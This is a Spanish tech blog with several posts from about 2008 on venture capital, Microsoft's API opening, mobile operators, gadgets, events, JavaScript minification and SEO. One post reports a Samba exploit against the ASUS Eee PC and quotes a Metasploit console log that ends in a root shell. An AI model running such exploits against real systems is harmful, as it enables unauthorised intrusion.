tecnocracia .es

Ayer asistimos en Red.es a la edición número 84 de Thursday.es en el cual participó Gonzalo Carod, director y cofundador de Axon capital, gestora de fondos de capital-riesgo. La moderación del evento corrió a cuenta de Ildefonso Mayorgas, fundador y organizador de Thursday.es.

Ha sido la primera vez que asistía al evento, y seguro que no será la última.

Gonzalo nos explicó cual es el proceso y los criterios que utilizan a la hora de seleccionar proyectos en los que invertir entre las 400 propuestas anuales que reciben.

Para empezar buscan grupos de emprendedores que piensen a lo grande, con una propuesta de negocio sobre mercados potencialmente grandes. A la vez esperan cierta humildad en dichos emprendedores.

Prefieren los equipos competentes, integrados y heterogéneos, que tengan las ideas claras, y con un plan de negocio (mejor si no es muy extenso). Es importante tener claro qué se quiere hacer, por qué, y el tamaño del nicho de mercado. Tener buenas alianzas, descubrir mercados ocultos, o contar con alguna patente que nos pueda hacer únicos en el mercado, también son puntos a nuestro favor.

Sus inversiones oscilan generalmente en el rango de los 500.000 euros hasta los 5 millones, esperando un retorno anual mínimo (ROI) del 30%, aunque este depende del proyecto y las circunstancias. Generalmente prefieren inversiones en donde ellos tengan una participación minoritaria.

Su aportación no queda solo en la financiación, sino que también se encargan de brindar apoyo, contactos, y recursos para los emprendedores. Ellos invierten en capital humano y no solo en empresas. Generalmente suelen salirse del negocio en el que tienen inversión a los 3 años como muy pronto, pudiendo aguantar hasta los 5 años, ya sea vendiendo su participación a los emprendedores, vendiéndola a terceros o sacando la compañía a bolsa.

La verdad es que me pareció una opción muy interesante para todos aquellos que tienen una idea de negocio tecnológico muy clara y rentable, pero no disponen del capital o la experiencia suficiente para ponerla en marcha.

Technorati Tags: Inversiones negocio tecnología

menéame

Hace escasas horas tenía lugar una rueda de prensa en Microsoft en donde Steve Ballmer, después de comentar que no iban a contestar a preguntas sobre Yahoo, ha anunciado que van a liberar de forma gratuita las APIs de sus productos y protocolos más importantes.

Aunque es cierto que Microsoft ha cambiado mucho sus políticas con respecto a la interoperabilidad de sus productos en los últimos años, esta colaboración siempre había sido bajo contrato y bajo un acuerdo legal muy restrictivo (Work Group Server Protocol Program). Sin embargo, la noticia de hoy coloca al gigante del software en una posición muy distinta.

Según la nota de prensa, Microsoft se dispone a liberar las APIs de los siguientes productos y protocolos de comunicaciones: Windows Vista (incluyendo el entorno .NET), Windows Server 2008, SQL Server 2008, Office 2007, Exchange Server 2007 y Office SharePoint Server 2007 y versiones futuras de estos productos.

Se van a poner a disposición de cualquier desarrollador unas 30.000 páginas de documentación en MSDN que detallan los protocolos de comunicación cliente/servidor de los productos anteriores. Así mismo se indicarán cuales de los protocolos se encuentran protegidos por patentes y se pondrán a disposición de los desarrolladores licencias a precios razonables.

Microsoft asegura que mantendrá un pacto de no demandar a la comunidad Open Source por el desarrollo o distribución no comercial de sus protocolos. La compañía también pretende crear una API para el Office 2007 que permita a desarrolladores externos añadir soporte para nuevos protocoles al la suite (Estimada para Junio de 2008).

Por último, la nota de prensa asegura que Microsoft documentará el soporte a los estándares que emplee en sus productos y trabajará con el resto de desarrolladores y compañías que soporten el estándar para mejorar su robustez, consistencia e interoperabilidad.

Si realmente Microsoft cumple todo lo anterior, podíamos estar ante un hito único en la industria del software. Sin embargo, ya tenemos más que experiencia con Microsoft y generalmente suele haber problemas. Para empezar, el acuerdo de no demandar a los desarrolladores, está muy bien, pero no deja de ser papel mojado hasta que esté escrito y firmado por abogados. Por otro lado, me sorprende lo de los estándares dada su insistencia en que se le conceda la certificación ISO al OOXML frente a otros estándares que están soportados por otras empresas y que son mejores, habiéndose demostrado esto en reiteradas ocasiones.

En conclusión, estoy ansioso por ver toda la documentación que se podrá a disposición y sobre todo expectante por como va reaccionar la industria ante semejante bombazo. ¿Qué opináis sobre la noticia?

menéame

Este año se prevé bastante movidito en el sector de los operadores móviles. Llevamos unos meses viendo cómo aparecen nuevos OMVs con tarifas cada vez más reducidas y se impone la ley del “low-cost” telefónico.

¿Cómo afrontarán los grandes la entrada de estos nuevos competidores? Llega la figura del “operador global.

Movistar y Orange ya han empezado a desarrollar este concepto, es decir, ofrecer servicios combinados de telefonía fija y móvil. Telefónica parte con la ventaja de disponer una posición dominante en ambos mercados (fijo y móvil). El enfoque de Orange es ligeramente distinto: intentar captar a clientes de telefonía móvil para que contraten los servicios de telefonía fija.

Sin embargo, Vodafone no dispone de red fija. ¿Cómo puede defenderse ante esta ofensiva? Una opción consiste en convertirse en “operador fijo virtual”, pero no deja de ser una forma de aumentar los beneficios de sus competidores al tener que pagarles por el uso de la red fija. La opción más atractiva es convertir el fijo en móvil. Retos mayores se han logrado.

Para llevar a cabo esta idea de sustituir las líneas fijas por móviles es necesario un soporte tecnológico muy importante. Por un lado hay que ofrecer una tarifa de voz más atractiva (incluso gratuita) para llamadas nacionales a fijos y terminales de la misma compañía. Por otro lado es necesario completar el servicio con un acceso a Internet equivalente al ADSL. Aquí podríamos utilizar el conocido 3.5G (HSDPA) pero sería imprescindible una tarifa plana sin restricciones. ¿Lo soportarían las redes actuales?

Para competir con la televisión digital por cable (Imagenio y similares), se puede emplear también la conexión HSDPA para servicios de IPTV ya que, teóricamente, este tipo de red puede llegar a soportar 14Mbps. Además, permitiría tener servicios de televisión móvil sin tener que esperar al DVB-H y poder visualizarlos tanto desde casa como desde el móvil.

La misma estrategia puede ser seguida por otros operadores, como Yoigo, pero personalmente creo que sus objetivos a corto y medio plazo deberían centrarse en captar nuevos clientes y ofrecer nuevos servicios (guiño, guiño).

De todos modos, me temo que a corto plazo es más rentable ser “operador fijo virtual” que mejorar las redes móviles para poder competir con los nuevos “operadores globales”.

menéame

Desde principios de enero se viene hablando de una start-up israelí llamada Modu, sin embargo el producto se ha materializado finalmente en el congreso 3GSM que se ha celebrado en Barcelona. La compañía ha desarrollado un sistema GSM modular. ¿Y que es esto os preguntareis? Es sencillo, Modu es un dispositivo con un tamaño inferior a una tarjeta de crédito (peso 1,5 gramos) que contiene un sistema GSM (Cuatribanda), una memoria interna de 1Gb, bluetooth, conector mini Usb y un sistema de reproducción audio. Este módulo de por si, es capaz de recibir y realizar llamadas, sin embargo, la idea es que se inserte en una serie de “chaquetas” que le proporcionan funcionalidad adicional. Por ejemplo, existen “chaquetas” o skins que proporcionan una pantalla más grande, teclado, música precargada. Adicionalmente la idea es que el núcleo o Modu, no solo se pueda insertar en las “chaquetas”, sino en otros dispositivos como en el coche. Por ahora la empresa ha firmado contratos con telcos de Italia, Rusia e Israel.

Personalmente la idea me parece genial. Creo que es de estas ideas que piensas: “¡Doh!, ¿por qué no se me habrá ocurrido a mi?“. El sistema tiene un potencial tremendo. El Modu y dos skins cuestan unos 200€ lo cual no es nada caro teniendo en cuenta el precio del iPhone. Y sí, ya se que no hace ni la mitad de cosas que el iPhone. La empresa tiene la intención de proporcionar un SDK a los interesados (ya se han subido al carro Bosch y Magellan) para que tomando como base el Modu, construyan dispositivos que hagan uso de él.

A mi juicio, ¿fallos que tiene el sistema? GPRS… mal, muy mal. Hoy por hoy estos sistemas debería apuntar a 3G y no a una tecnología ya obsoleta como es el GPRS. Supongo que esto se podrá resolver con una revisión de hardware del Modu o incluso añadiéndole un módulo en el skin o similar, sin embargo, me parece un fallo grave teniendo en cuenta que el mercado que intentas penetrar es el Europeo. Otro fallo grave? Sin WiFi y GPS. Hoy por hoy, y más con la llegada del iPhone (incluso este carece de GPS), estos dos servicios son fundamentales. De nuevo, entiendo que no lo habrán querido introducir en el Modu, para dejarlo como plugin adicional.

Lo cierto es que el modelo de negocio me parece muy inteligente. De igual forma que Apple saca muchísimo dinero de todos los accesorios para el iPod, Modu pretende hacer lo propio con su teléfono. Algunos expertos comentan que la idea no es muy buena debido a que la gente no se comprará “chaquetas” nuevas para irlas cambiando. Puede que esto sea cierto, especialmente si son muy caras, pero el hecho de comprar skins con funcionalidades adicionales como WiFi o GPS si proporcionan un incentivo muy importante. Tampoco hay que olvidar que el hecho de que los usuarios puedan configurar su perfil en MySpace es uno de los grandes triunfos de esta red social, luego la personalización de la tecnología no es precisamente algo desdeñable. Es cierto que para cambiar el perfil de MySpace no hay que pagar nada, mientras que en este caso, cada skin cuesta un dinero, pero puede ser una idea interesante. No solo esto, sino que podrás elegir, para la misma funcionalidad, distintas skins fabricados por empresas distintas, es decir, habrá competencia de skins, lo cual beneficia casi siempre al consumidor. Sinceramente creo que el proporcionar un SDK para que terceras partes diseñen complementos para el teléfono, es una estrategia muy buena y probablemente les proporcione el tirón necesario para hacerse un hueco en el sector.

¿Qué os parece la idea? ¿Compraríais el Modu por 200€?

PS: Podeis ver más fotos del Modu y sus “chaquetas” en su website.

Imágenes: crunchgear.com, Kent German/CNET Networks

menéame

El otro día descubría una web sobre recetas de cocinas llamada supercook.com. Lo cierto es que, yo no estoy muy metido en temas de cocina, probablemente por falta de tiempo, no de gusto. Sin embargo esta web me llamó mucho la atención porque tenía una característica genial.

Normalmente las webs o portales de cocina son un compendio de recetas con fotos e instrucciones, algunos mejores, otros peores. Sin embargo, es la primera vez que veo un portal en donde te seleccionan las recetas en función de los ingredientes que tengas a mano. Para alguien que no es un cocinitas como yo, la idea me parece brillante. Introduces los ingredientes y a medida que los vas añadiendo, a la derecha te va actualizando la lista de recetas que tienen ese ingrediente. De las recetas que te salen, te marca los ingredientes que te faltan para completarlas de forma que te ordena las más próximas a los ingredientes que has metido al principio y las que requieren más ingredientes que no tenemos contemplados al final.

La idea repito, es en mi opinión, brillante. El interfaz con ajax además es muy limpio y claro. Donde pierde puntos es en las recetas en si. Son, como en muchos otros sitios, muy genéricas (eso si, con sus datos nutricionales tan típicos en América). Con respecto a las recetas me quedo con una web que descubrí hace ya tiempo pero que me parece el paradigma de como escribir una receta, cookingforengineers.com (Cocinando para ingenieros).

De nuevo, ambas webs están en inglés, pero el nombre de los ingredientes son fáciles de traducir así que probadlo y me contáis que os parece.

Disclaimer: Cociné un día esta receta, y me salió genial.

menéame

Los chicos de FON vienen pisando fuerte. La semana que vienen organizan un evento en el teatro Lara de Madrid, a razón del lanzamiento de la plataforma de aplicaciones de Facebook en castellano. Como invitados estará Javier Oliván, director de Producto y Marketing Internacional de Facebook que presentará la plataforma y el equipo de FON que presentará las aplicaciones que están desarrollando para Facebook. Posteriormente se ha reservado un tiempo para hacer el tan sano networking (esta es la parte que más me gusta).

Adicionalmente todos aquellos desarrolladores y empresas que quieran presentar sus aplicaciones para Facebook en castellano están invitados a participar. Solo tenéis que mandar un email a Pietro (pietro@fon.com) y os tomará nota.

Para apuntarse al evento también piden que se confirme la asistencia mandando un email a developergarage@fon.com en donde muy amablemente os confirmarán la asistencia.

Lo cierto es que me parece una idea fantástica lo del evento y sería muy interesante que se organizaran talleres de aplicaciones para Facebook o MySpace (ahora que han desvelado su plataforma para aplicaciones). Es un campo muy interesante y que mueve mucho dinero y me alegra ver que en España también nos estamos moviendo en estos campos.

No se muy bien si el evento será solo las presentaciones, pero me gustaría ver un taller de aplicaciones de Facebook, MySpace y OpenSocial. ¿Alguno conoce de algo de esto en España (a poder ser en Madrid)? Se podría organizar algún BarCamp de aplicaciones para redes sociales. ¿Alguno se anima?

Bueno, yo decididamente me pasaré el lunes por ahí, si alguno quiere pasarse os dejo los datos del evento en Facebook y transcritos aquí:

Fecha:	Lunes, 18 febrero, 2008
Hora:	7:00pm - 11:00pm
Lugar:	Teatro Lara
Calle:	Calle Corredera Baja de San Pablo, 15
Ciudad:	Madrid, España

Phone:	+34 677940078
Email:	developergarage@fon.com

Me pregunto si estará Varsarsky. Lo dudo ya que es un hombre muy ocupado pero me gustaría mucho conocerle y escucharle en persona. A ver si hay suerte.

Imágenes: theinquirer.es, facebook.com

menéame

Mañana miércoles 13 de febrero a las 18:15 se celebra la nueva edición de iniciador. El evento está dedicado al desarrollo de producto y tendremos como ponente a Alberto Knapp Bjeren. Alberto es el director de la consultora The Cocktail, que se dedican a “consultoría de experiencia de usuario y diseño de interacción” y que tiene como producto más emblemático la plataforma de creación de blogs gratuitos La Coctelera.

El evento pinta estupendamente y como sucedió en la edición del mes pasado, seguramente veamos una exposición excelente y llena de buenos consejos y anécdotas. Os animo como siempre a venir a todos. En esta edición tendré el placer de ir con Ajo y con otro compañero así que si os pasáis mañana dejarnos un comentario y nos vemos.

Fecha: Miércoles 13 de febrero.
Hora: 18.15h
Lugar: Oficina cancha de la CAN en Juan Bravo Nº3 (Madrid)

menéame

Leo hace escasos segundos que la gente de RISE Security acaban de hackear el sistema operativo que viene por defecto con los ASUS Eee. Resulta que el SO que viene presintalado en los portátiles es Xandros, que es una versión derivada de Corel Linux que a su vez proviene de Debian Linux. Parece ser que por defecto viene con una versión del demonio Samba con fallos conocidos y activado por defecto. Una vez que sabían eso, simplemente emplearon el framework metasploit, cargaron el exploit para esa versión de samba y consiguieron root en el sistema.

msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -> 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

La noticia es muy reciente y no tengo forma de conformarlo así que tomad la información con cautela. No obstante, habiendo trabajado con sistemas embebidos, no me sorprende lo más mínimo. Suele ser una constante en todos estos tipos de sistemas, que resulta muy caro y difícil crear actualizaciones periódicas para cada actualización del software que incorpora el dispositivo. Esto es debido a que la compilación de muchos de estos paquetes de software es compleja y generalmente requiere que se parcheen las versiones de forma manual para acoplarlo al sistema empotrado. Esto consume mucho tiempo y recursos y por tanto los fabricantes deciden no actualizarlo tan a menudo y directamente no actualizarlos. No obstante, como dirían algunos: “nice hack!“

menéame

Las aplicaciones web cada vez son más complejas. Cada vez se requiere más código Javascript que permita obtener la funcionalidad deseada. Debido a esta necesidad, y al igual que sucedió con las librerías en los sistemas operativos, han ido surgiendo varias librerías de código Javascript. Estas, además de descargar al programador de codificar tediosas rutinas para el acceso al DOM y similares, proporcionan una capa de abstracción que permite la portabilidad del código a distintos navegadores. Para los profanos, explico la situación. Hoy por hoy existen diversos navegadores web, siendo probablemente el Firefox, Internet Explorer, Safari y Opera los más importantes. Cada uno de estos navegadores implementa el motor de renderizado web de forma distinta. Algunos de ellos se ciñen a los estándares oficiales, mientras que otros deciden introducir sus propios elementos xhtml, html, etc al margen del resto. Esto genera graves problemas de interoperabilidad para las páginas web. Un diseño que emplea ciertos elementos CSS, es probable que no funcione como se deseaba al visualizar la misma página en otro navegador. Existe una problemática adicional, cada navegador luego tiene sus múltiples versiones que soportan subconjuntos diferentes de los estándares, agravando los problemas de interoperabilidad.

Las librerías Javascript proporcionan una capa de abstracción para el programador y le evita tener que programar distintas versiones del mismo código para los distintos navegadores. Dos de las más famosas probablemente sean la librería jQuery y Prototype. Sin embargo, a diferencia de las librerías de un sistema operativo, éstas otras han de ser descargadas (si no han sido cacheadas, lo que sucede el 50% de las veces) por cada usuario que visualice la web. Esto supone un problema de rendimiento, ya que el navegador no comenzará a hacer uso del código Javascript hasta que este haya sido descargado. Cuanto mayor es el tamaño de la librería, peor es el rendimiento.

Para evitar estos problemas de rendimiento, voy a introduciros una herramienta desarrollada por Yahoo para reducir considerablemente el tamaño de estas librerías y maximizar la velocidad de carga de la web. La herramienta, que se llama YUI Compressor es una aplicación Java (jar) a la que le damos el fichero Javascript de entrada y nos devuelve por la salida estándar una versión comprimida de la misma. A continuación os muestro las prueba que he realizado con la última versión de jQuery:

ergosum@braniac:/var/www/js$ ls -la jquery-copy-1.2.2.js
-rw-r–r– 1 ergosum ergosum 95285 feb 8 16:49 jquery-copy-1.2.2.js

ergosum@braniac:/var/www/js$ java -jar yuicompressor-2.3.4.jar jquery-copy-1.2.2.js > jquery-compress-1.2.2.js

ergosum@braniac:/var/www/js$ ls -la jquery-compress-1.2.2.js
-rw-r–r– 1 ergosum ergosum 52435 feb 8 16:51 jquery-compress-1.2.2.js

Como podemos apreciar, al comprimir la librería hemos obtenido una tasa de compresión del 45%, lo cual es increíble. El problema con el algoritmo de compresión es que convierte la librería en algo bastante ilegible. Si deseamos reducir el tamaño del código pero al mismo tiempo mantener algo de coherencia y no ofuscarlo, podemos lanzar la herramienta como sigue:

ergosum@braniac:/var/www/js$ java -jar yuicompressor-2.3.4.jar –nomunge –preserve-semi jquery-copy-1.2.2.js > jquery-compress-1.2.2.js

ergosum@braniac:/var/www/js$ ls -la jquery-compress-1.2.2.js
-rw-r–r– 1 ergosum ergosum 52970 feb 8 17:21 jquery-compress-1.2.2.js

Podemos comprobar la opción para añadirle los puntos y comas el tamaño ha incrementado ligeramente (44.41% de compresión). Sin embargo he de reconocer que no sale mucho más legible que antes. También podemos añadirle el parámetro –line-break n indicándole al parser que debe añadir un retorno de carro cuando llegue a la línea n. Esto lo hace algo más legible pero no mucho más.

Como nota adicional, leía ayer los resultados que han obtenido la gente de PBWiki (muy interesante por cierto) con distintas herramientas para el rendimiento de las librerías. Para jQuery obtuvieron los siguientes datos:

Donde minified corresponde a la salida comprimida mediante la herramienta que hemos comentado, packed corresponde con librerías comprimidas con el empaquetados Packed y por último normal corresponde con la librería tal cual, sin procesar.

Se aprecia claramente como la minified es más óptima que la packed y la razón es porque, aunque con Packed el tamaño del fichero es menor, es necesario realizar un esfuerzo extra para desempaquetar el fichero una vez que llega al navegador, resultando en una suma total de tiempo mayor que en el caso del minified.

En conclusión, una herramienta muy útil que nos permite minimizar el tiempo de carga de nuestras librerías Javascript. Además de la compresión también podemos usar recursos como el mod_gzip para comprimir el archivo desde el servidor a nuestro navegador y seguir ganando en eficiencia.

menéame

En los últimos post sobre posicinamiento web hemos tratado temas como el formato de las url , la elección de un nombre de dominio. Esta vez vamos a hablar sobre las cabeceras de nuestras páginas, y la relevancia de los campos que estas contienen, ya que de ahí los buscadores obtienen gran parte de la información sobre el contenido de la misma.

Prácticamente como el sentido común nos indicaría el orden de importancia para las partes de la cabecera HTML en el que la mayor parte de expertos están de acuerdo (Seomoz: Google search engine ranking factors) es el siguiente:

1. <title>: Es el más importante por dos razones: Es el título que aparece en las búsquedas (ver la imagen del final) y las palabras clave de su contenido son muy relevantes para las búsquedas. No solo es importante su contenido, si no el orden de las palabras clave: si están al principio es probable que adquieran más relevancia que si están al final. Si forman un conjunto, y están en están en el orden adecuado (en el que serán buscadas) esto también nos beneficiará. Por ejemplo, será mas óptimo un título: “html head y el posicionamiento web - tecnocracia.es” que … “tecnocracia.es - html head y el posicionamiento web” ya que en este caso lo más relevante del título no es “tecnocracia.es”, sino el título del tema en si.
2. <meta name=”description” content=”…”/>: No es tan importante como el título, pero puede aportar algo más de relevancia, y actualmente es el contenido que aparecerá en la descripciones del buscador (ver imagen del final).
3. <meta name=”keywords” content=”key1,key2,key3″/>: Es el menos importante de todos los campos de la cabecera HTML, en algún momento de la historia de los buscadores se les dio gran relevancia, pero es algo fácil de manipular por los spammers, y hoy en día intuyo que se puedan utilizar para extraer el orden de relevancia de las palabras clave que estén en el contenido.
   

En resumen podemos decir que la correcta optimización de las cabeceras de nuestras páginas de contenido es fundamental si queremos atraer visitas. Además el contenido de las cabeceras es la primera ventana que tienen los usuarios hacia nuestra web, lo que verán de ella antes de llegar a entrar, y como todos sabemos la primera impresión cuenta mucho

menéame